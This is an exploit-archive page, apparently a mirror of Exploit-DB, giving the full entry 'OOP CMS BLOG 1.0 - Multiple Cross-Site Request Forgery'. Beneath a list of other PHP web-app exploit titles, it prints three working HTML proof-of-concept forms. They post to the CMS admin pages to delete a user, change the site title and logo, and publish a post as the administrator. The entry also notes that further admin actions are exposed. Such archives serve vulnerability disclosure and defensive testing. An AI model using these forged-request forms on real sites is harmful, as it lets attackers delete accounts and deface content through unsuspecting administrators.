Menu

Improved exploit search engine. Try python and hit enter

"OOP CMS BLOG 1.0 - Multiple Cross-Site Request Forgery"

Author

"Mr Winst0n"

Platform

php

Release date

2019-03-04

Release Date Title Type Platform Author
2019-03-22 "Inout Article Base CMS - SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-03-22 "Meeplace Business Review Script - 'id' SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-03-22 "Matri4Web Matrimony Website Script - Multiple SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-03-21 "Bootstrapy CMS - Multiple SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-03-21 "Placeto CMS Alpha v4 - 'page' SQL Injection" webapps php "Abdullah Çelebi"
2019-03-21 "uHotelBooking System - 'system_page' SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-03-21 "The Company Business Website CMS - Multiple Vulnerabilities" webapps php "Ahmet Ümit BAYRAM"
2019-03-21 "Netartmedia Vlog System - 'email' SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-03-20 "Netartmedia Deals Portal - 'Email' SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-03-20 "202CMS v10beta - Multiple SQL Injection" webapps php "Mehmet EMIROGLU"
2019-03-20 "Netartmedia PHP Business Directory 4.2 - SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-03-20 "Netartmedia PHP Dating Site - SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-03-20 "Netartmedia Jobs Portal 6.1 - SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-03-20 "Netartmedia PHP Real Estate Agency 4.0 - SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-03-20 "Netartmedia PHP Car Dealer - SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-03-19 "Netartmedia Real Estate Portal 5.0 - SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-03-19 "Netartmedia PHP Mall 4.1 - SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-03-19 "Netartmedia Event Portal 2.0 - 'Email' SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-03-19 "eNdonesia Portal 8.7 - Multiple Vulnerabilities" webapps php "Mehmet EMIROGLU"
2019-03-19 "MyBB Upcoming Events Plugin 1.32 - Cross-Site Scripting" webapps php 0xB9
2019-03-19 "Gila CMS 1.9.1 - Cross-Site Scripting" webapps php "Ahmet Ümit BAYRAM"
2019-03-18 "TheCarProject v2 - Multiple SQL Injection" webapps php "Mehmet EMIROGLU"
2019-03-15 "Moodle 3.4.1 - Remote Code Execution" webapps php "Darryn Ten"
2019-03-15 "Laundry CMS - Multiple Vulnerabilities" webapps php "Mehmet EMIROGLU"
2019-03-15 "Vembu Storegrid Web Interface 4.4.0 - Multiple Vulnerabilities" webapps php "Gionathan Reale"
2019-03-15 "ICE HRM 23.0 - Multiple Vulnerabilities" webapps php "Mehmet EMIROGLU"
2019-03-15 "CMS Made Simple Showtime2 Module 3.6.2 - (Authenticated) Arbitrary File Upload" webapps php "Daniele Scanu"
2019-03-14 "Pegasus CMS 1.0 - 'extra_fields.php' Plugin Remote Code Execution" webapps php R3zk0n
2019-03-14 "Intel Modular Server System 10.18 - Cross-Site Request Forgery (Change Admin Password)" webapps php LiquidWorm
2019-03-13 "pfSense 2.4.4-p1 (HAProxy Package 0.59_14) - Persistent Cross-Site Scripting" webapps php "Gionathan Reale"
Release Date Title Type Platform Author
2019-03-04 "CMSsite 1.0 - Multiple Cross-Site Request Forgery" webapps php "Mr Winst0n"
2019-03-04 "OOP CMS BLOG 1.0 - Multiple Cross-Site Request Forgery" webapps php "Mr Winst0n"
2019-03-04 "OOP CMS BLOG 1.0 - Multiple SQL Injection" webapps php "Mr Winst0n"
2019-03-04 "FileZilla 3.40.0 - 'Local search' / 'Local site' Denial of Service (PoC)" dos linux "Mr Winst0n"
2019-02-28 "Simple Online Hotel Reservation System - Cross-Site Request Forgery (Delete Admin)" webapps php "Mr Winst0n"
2019-02-28 "Simple Online Hotel Reservation System - Cross-Site Request Forgery (Add Admin)" webapps php "Mr Winst0n"
2019-02-28 "Simple Online Hotel Reservation System - SQL Injection" webapps php "Mr Winst0n"
2019-02-25 "Advance Gift Shop Pro Script 2.0.3 - SQL Injection" webapps php "Mr Winst0n"
2019-02-25 "News Website Script 2.0.5 - SQL Injection" webapps php "Mr Winst0n"
2019-02-25 "PHP Ecommerce Script 2.0.6 - Cross-Site Scripting / SQL Injection" webapps php "Mr Winst0n"
2019-02-19 "Ask Expert Script 3.0.5 - Cross Site Scripting / SQL Injection" webapps php "Mr Winst0n"
2019-02-18 "CMSsite 1.0 - 'post' SQL Injection" webapps php "Mr Winst0n"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46483/?format=json')
For full documentation follow the link above

Ads

Browse exploit DB API Browse

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
# Exploit Title: OOP CMS BLOG 1.0 - Cross-Site Request Forgery (Delete Admin)
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: March 1, 2019
# Vendor Homepage: http://zsoft.com.bd/
# Software Link : https://datapacket.dl.sourceforge.net/project/php-oop-cms-blog/blog_fo_rup.zip
# Tested Version: 1.0
# Tested on: Kali linux, Windows 8.1 


# PoC:

<html>
<body>
	<form method="post" action="http://localhost/[PATH]/admin/userList.php?delUser=34">
		<input type="submit" value="Delete">
	</form>
</body>
</html>


# Exploit Title: OOP CMS BLOG 1.0 - Cross-Site Request Forgery (Update Site Title and Description)
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: March 1, 2019
# Vendor Homepage: http://zsoft.com.bd/
# Software Link : https://datapacket.dl.sourceforge.net/project/php-oop-cms-blog/blog_fo_rup.zip
# Tested Version: 1.0
# Tested on: Kali linux, Windows 8.1 


# PoC:

<html>
<body>
<form method="post" action="http://localhost/[PATH]/admin/titleslogan.php" enctype="multipart/form-data">
<table class="form">
<tr>
<td>
<label>Website Title</label>
</td>
<td>
<input type="text" name="title">
</td>
</tr>
<tr>
<td>
<label>Website Slogan</label>
</td>
<td>
<input type="text" name="slogan">
</td>
</tr>
 
<tr>
<td>
<label>Upload Logo</label>
</td>
<td>
<input type="file" name="logo"/>
</td>
</tr>
<tr>
<td>
</td>
<td>
<input type="submit" name="submit" Value="Update" />
</td>
</tr>
</form>
</body>
</html>



# Exploit Title: OOP CMS BLOG 1.0 - Cross-Site Request Forgery (Add Post)
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: March 1, 2019
# Vendor Homepage: http://zsoft.com.bd/
# Software Link : https://datapacket.dl.sourceforge.net/project/php-oop-cms-blog/blog_fo_rup.zip
# Tested Version: 1.0
# Tested on: Kali linux, Windows 8.1 


# PoC:

<html>
<body>
<form action="http://localhost/[PATH]/admin/addpost.php" method="post" enctype="multipart/form-data">
<table class="form">
   
<tr>
<td>
<label>Title</label>
</td>
<td>
<input type="text" name="title" placeholder="Enter Post Title...">
</td>
</tr>
<tr>
<td>
<label>Category</label>
</td>
<td>
<select id="select" name="cat">
<option value="1">Select Category</option>
<option value="19">mr. customer</option>

<option value="2">php</option>

<option value="3">HTML</option>

<option value="4">CSS</option>

<option value="17">c++</option>

<option value="7">java ajax</option>

<option value="20">mr. customer</option>

<option value="18">ajax</option>

</select>
</td>
</tr>
<tr>
<td>
<label>Upload Image</label>
</td>
<td>
<input type="file" name="image"/>
</td>
</tr>
<tr>
<td style="vertical-align: top; padding-top: 9px;">
<label>Content</label>
</td>
<td>
<textarea class="tinymce" name="body"></textarea>
</td>
</tr>
<tr>
<td>
<label>Tags</label>
</td>
<td>
<input type="text" name="tags" placeholder="Enter Tags...">
</td>
</tr>   
 <tr>
<td>
<label>Authors</label>
</td>
<td>
<input type="text" name="authour"   value="admin">
<input type="hidden" name="user_id"   value="29">
</td>
</tr>


<tr>
<td>
</td>
<td>
<input type="submit" name="submit" Value="Save" />
</td>
</tr>
</table>
</form>
</body>
</html>

# Note: Many other sections are vulnerable to CSRF, too.
# For example: Delete Post, Add Slider, ...